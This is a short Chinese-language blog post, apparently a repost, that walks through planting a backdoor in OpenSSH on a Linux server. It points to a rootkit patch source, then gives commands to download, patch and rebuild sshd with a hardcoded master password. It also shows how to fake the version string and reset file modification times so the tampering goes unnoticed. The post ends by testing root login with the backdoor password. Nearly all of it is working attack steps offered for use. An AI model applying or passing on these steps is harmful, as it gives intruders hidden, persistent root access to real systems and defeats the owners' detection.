Linux系统安全之ssh后门

1.ssh -V
#查看当前的ssh版本信息
#OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010

2.查找ssh的配置文件
一般都在/etc/ssh中

3.备份原来的文件的time
将/etc/ssh下的文件的备份
假设/etc/ssh/sshd_config 备份为/etc/ssh/sshd_config.old
4.wget存在后门的ssh
#http://core.ipsecs.com/rootkit/patch-to-hack/(已被墙) 后门
#http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/ 正规的ssh源文件
#openssh-5.9p1.tar(正规文件)
#openssh-5.9p1.path.tar(后门文件)

5.tar zxf openssh-5.9p1.tar
tar zxf openssh-5.9p1.path.tar
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff

6.修改ssh信息
vi inculdes.h
##define SECRETPW “sky” 后门的密码

vi version.h
#define SSH_VERSION “OpenSSH_5.8p1 Debian-1ubuntu3” #修改为第一步ssh -V 查看到的信息
#define SSH_PORTABLE “p1”

7.源码编译
yum install -y openssl openssl-devel pam-devel
./configure –prefix=/usr –sysconfdir=/etc/ssh –with-pam –with-kereros5
#–sysconfdir=/etc/ssh 是在第二步查找的路径
#如果不设定和源文件的路径
#strings /usr/sbin/sshd | grep etc
#就可以看出问题!!!

编译过程中可能出现的报错:
configure: error: *** zlib.h missing – please install first or check config.log
#
#yum install zlib-devel

configure: error: *** Can’t find recent OpenSSL libcrypto (see config.log for details) ***
#
#yum install openssl openssl-devel

make && make install

/etc/init.d/sshd restart

7.还原原来ssh文件的time
修改文件的修改时间(mtime)

touch -r /etc/ssh/sshd_config.old /etc/ssh/config 等等

8.测试
ssh root@localhost
输入刚才设定的后门的密码,如果登录成功,表示设定ok!

猜你喜欢

转载自www.cnblogs.com/CDZX/p/12620396.html